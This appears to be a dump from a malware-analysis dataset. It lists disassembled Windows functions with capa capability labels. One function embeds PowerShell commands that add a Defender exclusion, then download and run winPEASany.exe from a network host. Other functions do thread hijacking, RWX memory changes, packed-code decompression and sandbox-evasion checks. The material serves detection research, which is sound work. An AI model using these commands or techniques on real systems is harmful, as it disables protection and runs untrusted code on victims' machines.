joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400045b0]
mov dword [rax], 1
mov rax, qword [0x1400045c0]
mov dword [rax], 1
mov rax, qword [0x1400045d0]
mov dword [rax], 1
mov rax, qword [0x140004560]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400015e0
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
call sym.__main
lea rax, str.powershell__Command_New_Item__ItemType_Directory__Path_C:WindowsTEMPVaveyla_s_ech0
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.powershell__Command_Add_MpPreference__ExclusionPath_C:WindowsTEMPVaveyla_s_ech0
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.powershell__Command_Invoke_WebRequest__Uri_http:__192.168.100.163_winPEASany.exe__OutFile_C:WindowsTEMPVaveyla_s_ech0winPEASany.exe
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.C:WindowsTEMPVaveyla_s_ech0winPEASany.exe
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.powershell__Command_Set_Content__Path_C:WindowsTemp_suc.txt__Value_Successfully
mov rcx, rax
call sub.msvcrt.dll_system
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001980
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym._32
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym._32
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x140002652
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140007108]
test eax, eax
je 0x1400026ea
lea rax, [0x1400070e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140007110]
mov qword [rbp - 8], rax
jmp 0x1400026ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400026c2
cmp qword [rbp - 0x10], 0
je 0x1400026c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002688
lea rax, [0x1400070e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400026eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400027f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002818
mov eax, 0
jmp 0x140002866
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002841
mov eax, 0
jmp 0x140002866
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002861
mov eax, 0
jmp 0x140002866
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000286c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400028ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400028e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400028e1
mov rax, qword [rbp - 8]
jmp 0x1400028ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400028b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x18000a42a
Capabilities:
Delete file

Disassembly:
mov dword [0x18003ca28], 0xd048bda
jmp 0x18000a530
cmp dword [0x18003ca28], 0x2ff393c
jne 0x18000a493
mov dword [rsp + 8], ecx
sub rsp, 0x96
sub rsp, 0x432
lea rcx, [0x18001c598]
nop
call qword [sym.imp.kernel32.dll_DeleteFileA]
mov dword [rsp + 0x220], 0
jmp 0x18000a483
mov eax, dword [rsp + 0x220]
add eax, 1
mov dword [rsp + 0x220], eax
mov dword [0x18003ca28], 0xf52ca8b
jmp 0x18000a530
cmp dword [0x18003ca28], 0xf52ca8b
jne 0x18000a516
mov eax, dword [rsp + 0x4d0]
cmp dword [rsp + 0x220], eax
jae 0x18000a51b
mov byte [rsp + 0x230], 0
mov byte [rsp + 0x231], 0
mov r8d, 0x200
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x20]
call fcn.18000a340
mov r8d, 0x200
lea rdx, [rsp + 0x230]
nop
lea rcx, [rsp + 0x20]
call fcn.18000a340
nop
nop
mov r8d, 0x200
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x20]
call fcn.18000a340
mov dword [0x18003ca28], 0x6738739
jmp 0x18000a530
jmp 0x18000a472
add rsp, 0x4c8
ret
cmp dword [0x18003ca28], 0xd048bda
nop
nop
nop
jne 0x18000a439
mov dword [0x18003ca28], 0x2ff393c
jmp 0x18000a530
Function at 0x140750f20
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407510a7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140750f51
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140750f37
add dl, dl
jne 0x140750f5e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140750fbe
xor eax, eax
add dl, dl
jne 0x140750f6d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140751075
add dl, dl
jne 0x140750f7e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140750f8b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140750f98
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140750fa5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140750fb2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140750f46
mov eax, 1
add dl, dl
jne 0x140750fce
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140750fdb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140750fc3
sub eax, ebx
mov ebx, 1
jne 0x140751014
mov ecx, 1
add dl, dl
jne 0x140750ff6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140751003
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140750feb
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140750f46
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140751030
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14075103d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140751025
cmp eax, 0x7d00
jae 0x140751063
cmp eax, 0x500
jb 0x14075105e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140750f46
cmp eax, 0x7f
ja 0x140751066
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140750f46
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14075109a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140750f46
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x18001c0b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [rdx]
mov rbx, rcx
cmp dword [rax + 0x38], 0xf
lea r8, [rax + 0x28]
jle 0x18001c0c9
mov r8, qword [r8]
movabs rdx, 0xcbf29ce484222325
movabs r9, 0x100000001b3
nop dword [rax]
movsx rcx, byte [r8]
lea r8, [r8 + 1]
xor rdx, rcx
imul rdx, r9
test cl, cl
jne 0x18001c0e0
mov rcx, qword [0x180078cc8]
mov r8, qword [0x180078cd0]
mov qword [rsp + 0x58], rdx
cmp rcx, r8
je 0x18001c13a
nop dword [rax + rax]
cmp qword [rcx], rdx
jne 0x18001c11b
cmp qword [rcx + 8], rbx
je 0x18001c126
add rcx, 0x18
cmp rcx, r8
jne 0x18001c110
jmp 0x18001c13a
lea rdx, [rcx + 0x18]
sub r8, rdx
call sub.VCRUNTIME140.dll_memmove
sub qword [0x180078cd0], 0x18
lea rdx, [rsp + 0x58]
lea rcx, [0x180078ce0]
call fcn.18001cbb0
mov rcx, qword [rax + 8]
cmp qword [rax], rcx
je 0x18001c1bb
mov rax, qword [rsp + 0x58]
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [0x180078cd0]
cmp rdx, qword [0x180078cd8]
movss xmm0, dword [rax + 0x21f9938]
movss dword [rsp + 0x30], xmm0
je 0x18001c1aa
movups xmm0, xmmword [rsp + 0x20]
movsd xmm1, qword [rsp + 0x30]
movups xmmword [rdx], xmm0
movsd qword [rdx + 0x10], xmm1
add qword [0x180078cd0], 0x18
add rsp, 0x40
pop rbx
ret
lea r8, [rsp + 0x20]
lea rcx, [0x180078cc8]
call fcn.180021fc0
add rsp, 0x40
pop rbx
ret

Function at 0x18001c660
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbx, qword [rdx + 8]
mov rsi, rdx
sub rbx, qword [rdx]
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x48]
mov r9d, 0x40
mov qword [rsp + 0x20], rcx
mov r8, rbx
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rdx, qword [rsi]
mov rcx, rdi
mov r8, qword [rsi + 8]
sub r8, rdx
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsi]
test rcx, rcx
je 0x18001c6f5
mov rdx, qword [rsi + 0x10]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x18001c6e3
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001c705
mov rcx, r8
call fcn.18005db74
xor eax, eax
mov qword [rsi], rax
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x18001c710
Capabilities:
Enumerate threads
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x410]
sub rsp, 0x510
mov rax, qword [0x1800780a8]
cmp byte [rax + 7], 0
je 0x18001c7f5
xor ebx, ebx
mov word [rbp + 0x420], 0x39eb
xorps xmm0, xmm0
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x20], xmm0
lea edx, [rbx + 2]
call fcn.180019320
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x20]
movzx eax, word [rbp + 0x420]
mov word [rcx], ax
lea rax, [rcx + 2]
movabs rcx, 0x140cdd8e9
mov qword [rsp + 0x28], rax
call fcn.18001c660
xorps xmm0, xmm0
mov word [rbp + 0x420], 0xeeb
lea edx, [rbx + 2]
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x20]
movdqu xmmword [rsp + 0x20], xmm0
call fcn.180019320
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x20]
movzx eax, word [rbp + 0x420]
mov word [rcx], ax
lea rax, [rcx + 2]
movabs rcx, 0x140cddcfe
mov qword [rsp + 0x28], rax
call fcn.18001c660
movabs rax, 0x14045b62d
mov qword [0x1800789f0], rax
mov rax, qword [0x1800780a8]
cmp byte [rax + 1], 0
jne 0x18001c801
cmp byte [rax + 3], 0
je 0x18001c812
movabs rax, 0x1401ee74a
mov qword [0x1800789e0], rax
lea rdx, [0x18001c1d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18001c92b
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x18001c922
nop word [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x2c], eax
jne 0x18001c90c
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8d, dword [rsp + 0x28]
cmp r8d, eax
je 0x18001c90c
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x18001c90c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x70], 0x10001f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [0x1800789f0]
lea rdx, [rsp + 0x40]
mov qword [rbp - 0x78], rax
mov rcx, rbx
mov rax, qword [0x1800789e0]
mov qword [rbp - 0x70], rax
mov rax, qword [0x1800789e8]
mov qword [rbp - 0x68], rax
mov rax, qword [0x1800789f8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x50], 0x455
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x18001c860
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180055d60
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x130]
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
cmp dword [rax + 0x40], 0xf
lea r9, [rax + 0x28]
jle 0x180055d8c
mov r9, qword [r9]
movabs rdx, 0xcbf29ce484222325
movabs r8, 0x100000001b3
movsx rcx, byte [r9]
lea r9, [r9 + 1]
xor rdx, rcx
imul rdx, r8
test cl, cl
jne 0x180055da0
mov qword [rsp + 0x50], rdx
lea rcx, [0x180078ce0]
lea rdx, [rsp + 0x50]
call fcn.18001cbb0
mov rdx, qword [rax + 8]
cmp qword [rax], rdx
je 0x180055ec4
movaps xmmword [rsp + 0x30], xmm6
lea rdx, [rsp + 0x50]
lea rcx, [0x180078ce0]
movaps xmmword [rsp + 0x20], xmm7
call fcn.18001cbb0
movsxd rcx, dword [rdi + 0x28]
mov rax, qword [rax]
movss xmm7, dword [rax + rcx*4 - 4]
lea eax, [rsi - 4]
lea rcx, [rbx + 0x43e4]
cmp eax, 1
jbe 0x180055e38
movss xmm6, dword [rbx + 0x1a00]
xor eax, eax
cmp dword [rcx], 0x209b
je 0x180055e2e
inc rax
add rcx, 4
cmp rax, 6
jl 0x180055e17
jmp 0x180055e88
addss xmm6, dword [0x18006d450]
jmp 0x180055e88
xor eax, eax
nop word [rax + rax]
cmp dword [rcx], 0x209b
je 0x180055e5d
inc rax
add rcx, 4
cmp rax, 6
jl 0x180055e40
movss xmm6, dword [rsp + 0x50]
jmp 0x180055e6b
movss xmm6, dword [rsp + 0x50]
addss xmm6, dword [0x18006d468]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rax + 0x21ef208]
cmp dword [rcx + 8], 0xc
jne 0x180055e88
addss xmm6, dword [0x18006d494]
xorps xmm1, xmm1
comiss xmm6, xmm1
jbe 0x180055ea7
movaps xmm1, xmm6
addss xmm1, dword [0x18006d4a4]
divss xmm6, xmm1
mulss xmm6, xmm7
subss xmm7, xmm6
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm0, xmm7
movaps xmm7, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x58]
xorps xmm0, xmm0
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180055ee0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x130]
mov esi, r8d
movaps xmmword [rsp + 0x20], xmm7
mov rbx, rdx
mov rdi, rcx
cmp dword [rax + 0x40], 0xf
lea r9, [rax + 0x28]
jle 0x180055f11
mov r9, qword [r9]
movabs rdx, 0xcbf29ce484222325
movabs r8, 0x100000001b3
nop word [rax + rax]
movsx rcx, byte [r9]
lea r9, [r9 + 1]
xor rdx, rcx
imul rdx, r8
test cl, cl
jne 0x180055f30
mov rax, qword [0x180078cc8]
mov rcx, qword [0x180078cd0]
movss xmm0, dword [0x18006d504]
movaps xmm7, xmm0
cmp rax, rcx
je 0x180055f7c
cmp qword [rax + 8], rbx
jne 0x180055f6c
cmp qword [rax], rdx
je 0x180055f77
add rax, 0x18
cmp rax, rcx
jne 0x180055f61
jmp 0x180055f7c
movss xmm7, dword [rax + 0x10]
ucomiss xmm7, xmm0
jp 0x180055f88
jne 0x180055f88
xorps xmm0, xmm0
jmp 0x180055fbf
xor ecx, ecx
movaps xmmword [rsp + 0x30], xmm6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
movss xmm6, dword [rax + 0x21f9938]
call fcn.180055d60
addss xmm0, xmm7
xorps xmm1, xmm1
subss xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x30]
maxss xmm0, xmm1
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
movaps xmm7, xmmword [rsp + 0x20]
add rsp, 0x40
pop rdi
ret
Function at 0x18005d110
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r9d, r8d
mov rdi, rdx
mov r8, rcx
lea rbx, [rcx + 0x35d8]
lea r10, [rcx + 0x1246]
cmp byte [rcx + 0x1244], 0
jne 0x18005d193
mov byte [r10], 0
mov byte [rcx + 0x1245], 1
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rsp + 0x30], rax
mov byte [rcx + 0x1248], al
movzx eax, byte [rsp + 0x31]
mov edx, 2
mov byte [rcx + 0x1249], al
movzx ecx, byte [rsp + rdx + 0x30]
inc edx
mov byte [r8 + 0x124a], cl
movzx eax, byte [rsp + rdx + 0x30]
mov byte [r8 + 0x124b], al
mov byte [r8 + 0x124c], 0
mov byte [r8 + 0x1244], 1
mov rax, r8
mov dword [rsp + 0x40], r9d
mov eax, dword [rax + 0x1248]
mov dword [rsp + 0x30], eax
movzx eax, byte [r8 + 0x1245]
test al, al
je 0x18005d1db
xor ecx, ecx
mov edx, eax
nop word [rax + rax]
mov eax, dword [rsp + rcx + 0x30]
not eax
xor dword [rsp + rcx + 0x40], eax
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x18005d1c0
lea r10, [r8 + 0x1246]
movzx eax, byte [r10]
mov ecx, 4
sub rcx, rax
cmp rcx, 4
jae 0x18005d204
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x30]
not al
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 4
jb 0x18005d1f0
movzx eax, byte [r8 + 0x124c]
inc al
and eax, 3
mov ecx, eax
mov eax, dword [rsp + 0x40]
mov dword [r8 + rcx*4 + 0x1250], eax
mov byte [r8 + 0x124c], cl
mov dword [rbx + 0x38], r9d
mov r8, qword [rbx + 0x18]
movabs rdx, 0xcbf29ce484222325
movabs r10, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movsx rcx, byte [r8]
lea r8, [r8 + 1]
xor rdx, rcx
imul rdx, r10
test cl, cl
jne 0x18005d250
movabs rax, 0x2374c594f5e76f06
cmp rdx, rax
jne 0x18005d27d
lea eax, [r9 - 0x1d]
cmp eax, 7
jbe 0x18005d2c3
jmp 0x18005d2ea
movabs rax, 0xf9bdf861cccd5fd1
cmp rdx, rax
jne 0x18005d297
lea eax, [r9 - 0x1a]
cmp eax, 6
jbe 0x18005d2c3
jmp 0x18005d2ea
movabs rax, 0xb4d052affec8dc8e
cmp rdx, rax
jne 0x18005d2ae
cmp r9d, 0x10
je 0x18005d2c3
jmp 0x18005d2ea
movabs rax, 0x311a797a90e58f21
cmp rdx, rax
jne 0x18005d2cc
cmp r9d, 6
jne 0x18005d2ea
mov byte [rbx + 0x9c], 0
jmp 0x18005d323
movabs rcx, 0x2f2959b508f215d2
movabs rax, 0xecc3c7c77aebb7ea
cmp rdx, rcx
je 0x18005d30b
cmp rdx, rax
je 0x18005d30b
cmp byte [rbx + 0x9c], 0xff
je 0x18005d323
movabs rax, 0xeb5bc0df5355fba6
cmp rdx, rax
je 0x18005d323
mov byte [rbx + 0x9c], 0xff
jmp 0x18005d323
cmp r9d, 7
jne 0x18005d344
cmp rdx, rcx
je 0x18005d34f
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x18005d323
mov qword [rbx + 8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add rax, 0x18a4a0
mov dl, 1
mov rcx, rbx
call rax
nop
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp r9d, 6
jne 0x18005d316
cmp rdx, rax
jne 0x18005d316
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x18005d35c
mov qword [rbx + 8], rax
mov r8d, r9d
mov rdx, rdi
mov rcx, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.1800511b0
Function at 0x1e85714a5
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x1e85714d7
mov eax, 1
jmp 0x1e8571596
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rdx, qword [rbp - 0x28]
mov eax, 0x80000000
cmp rdx, rax
jae 0x1e8571506
mov eax, 1
jmp 0x1e8571596
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.1e85713c4
mov rax, qword [rbp + 0x50]
mov qword [rbp - 0x60], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
movzx eax, word [rbp + 0x68]
mov word [rbp - 0x48], ax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1e858e580
mov r8, qword [0x1e86b30a8]
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x1e8571591
mov eax, 1
jmp 0x1e8571596
mov eax, 0
add rsp, 0x100
pop rbp
ret
Function at 0x1e8582200
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.1e8588590
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1e8582270
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1e86b30f4]
test esi, esi
mov rbx, rcx
jle 0x1e85823a0
mov rax, qword [0x1e86b30f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1e85822bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1e8582345
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1e85822a0
mov rcx, rbx
call fcn.1e8582ad0
test rax, rax
mov rdi, rax
je 0x1e85823c2
mov rax, qword [0x1e86b30f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1e8582c10
